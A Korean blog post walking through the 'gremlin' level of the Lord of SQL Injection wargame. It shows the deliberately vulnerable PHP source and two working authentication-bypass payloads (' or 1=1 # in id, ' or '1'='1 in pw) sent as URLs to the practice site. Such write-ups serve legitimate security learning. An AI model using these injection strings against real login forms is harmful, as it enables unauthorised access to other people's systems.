Wargame.kr을 풀기 전에 먼저 SQL Injection에 대한 이해도와 스킬을 기본적으로 습득하기 위한 좋은 사이트가 LOS라는 조언을 듣고 Lord Of SQL을 풀기 시작했습니다.


일단 기본적으로 SQL Injection을 수행할 때 POST 형태로 수행하지 않고 GET 형태로 많은 문제를 풀이할 수 있습니다. 이는 Fiddler와 같은 다양한 프로그램을 사용하는 것에 치중하지 말고, SQL Injection에 대한 이해도를 높이는 것을 우선하라는 제작자의 배려가 아닌가 싶습니다. 


감사하게도 이러한 페이지에서 공부를 할 수 있어서 실력을 늘리고 여러 노하우를 익힐 수 있었습니다.


 제작자 Rubiya님께 매우 감사드립니다.


서론을 마치고 본격적으로 풀이를 진행해보려고 합니다.


LOS 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.





 

 문제 이해


문제 소스코드는 다음과 같이 PHP 소스를 그대로 보여주는 것을 알 수 있습니다.

<?php
  include "./config.php";
  login_chk();
  dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); // do not try to attack another table, database!
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  $query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysql_fetch_array(mysql_query($query));
  if($result['id']) solve("gremlin");
  highlight_file(__FILE__);
?>


위의 문제에서 5번, 6번 라인에서는 SQL Injection 문제이니만큼 Database에 대한 직접적인 공격을 막기 위한 처리가 나타나 있습니다. "Do not try to attack another table, database!" 라고 경고를 적어주었네요. 따라서 5번, 6번 라인에서는 Gremlin 문제를 막기 위한 필터링이 아닌, Gremlin 이외의 공격은 삼가해달라라는 의미입니다.


흠흠. 그렇다면 우리가 GET 형태로 넘겨줄 수 있는 값이 무엇이 있을까 살펴보도록 합시다.


7번 라인을 보시게 되면 우리가 id라는 값과, pw라는 값을 넣어서 실제로 어떻게 SQL문을 완성시켜주는지 알 수 있도록 나타내주었습니다.


물론 5번 라인과 6번 라인에서도 id, pw에 값을 넣어줄 수 있다는 것을 유추할 수 있지만, 직접적으로 어떻게 어떤 데이터로 들어가는지 알려주는 것은 7번 라인입니다.


id='{$_GET[id]}'와 pw='{$_GET[pw]}'를 보아하니 single quote(싱글 쿼터)가 들어가 있으므로 문자열 형태로 값을 넘겨주는 것을 알 수 있습니다. 

그리고 10번 라인을 보면, 만약 SQL 쿼리를 통해 return 되는 값이 존재한다면 문제가 풀리게 되어 있습니다.


따라서 일단 리턴되는 값이 있도록 쿼리를 짜보도록 합시다.






 

 문제 풀이(쿼리)


GET 형태이기 때문에 다음과 같이 쿼리를 짜주었습니다.



 

 id 쪽에 값 삽입


만약 id쪽에 값을 넣고 싶다면 다음과 같이 입력하면 되겠습니다.

 https://los.rubiya.kr/chall/gremlin_280c5552de8b681110e9287421b834fd.php?id=%27%20or%201=1%20%23


위의 쿼리는 id=' or 1=1%23이라고 작성해주었습니다. %23은 # 즉, MySQL의 주석입니다.

그렇다면 쿼리는 다음과 같이 들어가게 됩니다.


 query : select id from prob_gremlin where id='' or 1=1 #' and pw=''


이렇게 되면 or 1=1 때문에 참이 되어 리턴되는 값이 존재하게 됩니다.

따라서 if문은 참이되어 문제가 풀리게 됩니다.



 

 pw 쪽에 값 삽입


만약 pw쪽에 값을 넣고 싶다면 다음과 같이 입력하면 되겠습니다.

https://los.rubiya.kr/chall/gremlin_280c5552de8b681110e9287421b834fd.php?pw=%27%20or%20%271%27=%271 


위의 쿼리는 pw=' or '1'='1이라고 작성해주었습니다. 

여기서는 주석 처리가 필요없습니다.


이는 다음과 같이 변하기 때문입니다. 눈으로 직접 보시는 게 편합니당 ><


 query : select id from prob_gremlin where id='' and pw='' or '1'='1'


이렇게 되면 '1'='1'과 같이 참인 문법이 완성되게 됩니다. 따라서 따로 주석이 필요없게 됩니다.



+ Recent posts